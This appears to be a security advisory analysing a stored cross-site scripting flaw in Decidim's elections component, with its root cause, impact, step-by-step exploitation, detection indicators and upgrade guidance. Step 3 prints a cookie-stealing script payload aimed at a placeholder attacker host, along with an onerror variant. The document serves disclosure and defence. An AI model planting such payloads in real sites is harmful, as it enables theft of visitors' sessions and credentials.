CVE-2026-44282: 
Ruby vulnerability analysis and mitigation

CVE-2026-44282 is a stored Cross-Site Scripting (XSS) vulnerability in the decidim-elections component of the Decidim participatory democracy platform. A low-privilege process-scoped administrator with election question management rights can inject arbitrary HTML or JavaScript into election question titles, which are then rendered unsafely on public election pages and voting booth screens. The vulnerability affects all decidim-elections versions prior to 0.32.0 (RubyGems package). It was discovered during a security audit organized by the Decidim Association and conducted by Radically Open Security, published on September 7, 2026, and has a CVSS v3.1 base score of 4.8 (Medium) (GitHub Advisory, Decidim Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The question_title public helper in decidim-elections/app/helpers/decidim/elections/application_helper.rb returns the translated question.body string marked as html_safe without applying any sanitization boundary, causing the Rails template engine to trust and render the value as raw HTML. Any user with election question editing rights can store a malicious payload (e.g., <script> tags or event-handler attributes) in the question body field, which persists in the database and executes in every visitor's browser when the public election page or voting booth screen is loaded. The fix, merged in PR #16659, removes the explicit html_safe marking and delegates escaping responsibility to the template rendering layer (GitHub PR, GitHub Advisory).

Successful exploitation allows a malicious election editor to persistently execute arbitrary JavaScript in the browsers of any visitor who views public election pages or accesses the voting booth, affecting confidentiality (e.g., session token theft, credential harvesting) and integrity (e.g., page content manipulation, phishing overlays). Because the payload renders on public-facing voting interfaces, the potential victim pool includes all registered voters and anonymous visitors of the affected Decidim instance. Availability is not directly impacted, but the attack could undermine trust in the electoral process and manipulate voter behavior (GitHub Advisory).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported as of the disclosure date. Exploitation requires high privileges (election question management rights within a specific process scope), and victim interaction (a user must visit the affected election page), which limits the attack surface. The CVE status is listed as Reserved, and no EPSS score or CISA KEV catalog entry has been identified (GitHub Advisory).

1. Gain access: Obtain a low-privilege process-scoped administrator account on a Decidim instance running decidim-elections < 0.32.0 with election question management rights.
2. Navigate to election editor: Log in to the Decidim admin panel and navigate to the elections management section for a specific participatory process.
3. Inject malicious payload: Create or edit an election question and insert a JavaScript payload into the question title/body field, for example: <script>document.location='https://attacker.example/steal?c='+document.cookie</script> or an event-handler variant such as <img src=x onerror=alert(document.cookie)>.
4. Save the payload: Submit the form; the payload is stored in the database as the question.body translatable string without sanitization.
5. Trigger execution: When any visitor (voter or anonymous user) navigates to the public election page or voting booth screen, the question_title helper renders the stored payload as trusted HTML, executing the JavaScript in the visitor's browser.
6. Harvest results: Collect exfiltrated session tokens, cookies, or credentials from the attacker-controlled server, or use the XSS to perform further actions such as CSRF attacks or phishing overlays on the voting interface (GitHub Advisory, GitHub PR).

• Logs: Web server or application logs showing unusual characters (<script>, onerror=, javascript:, %3Cscript%3E) in HTTP POST requests to election question creation or editing endpoints (e.g., /admin/participatory_processes/.../elections/.../questions).
• Database: Election question body fields in the database containing raw HTML tags, <script> elements, or JavaScript event handlers rather than plain text.
• Network: Outbound HTTP requests from visitor browsers to unexpected external domains shortly after visiting election pages, potentially indicating cookie or credential exfiltration.
• Browser/Client: Unexpected JavaScript alerts, redirects, or network requests originating from public election or voting booth pages as observed in browser developer tools or proxy logs.

Upgrade the decidim-elections RubyGems package to version 0.32.0 or later, which removes the unsafe html_safe marking from the question_title helper and delegates HTML escaping to the template rendering layer (GitHub Advisory, GitHub PR). As a short-term workaround, administrators should audit and restrict election question management rights, ensuring only fully trusted users are granted process-scoped admin access. Organizations running forked or customized Decidim instances (e.g., AjuntamentdeBarcelona/decidim) should apply the backport commit from PR #16659 if upgrading to 0.32.0 is not immediately feasible.

The vulnerability was discovered through a formal security audit organized by the Decidim Association and conducted by Radically Open Security, financed by NGI, indicating a proactive security posture by the project maintainers. The fix was reviewed and merged promptly (April 28–29, 2026), with the advisory published on September 7, 2026. No significant broader media coverage or notable external researcher commentary beyond the audit team has been identified (GitHub Advisory).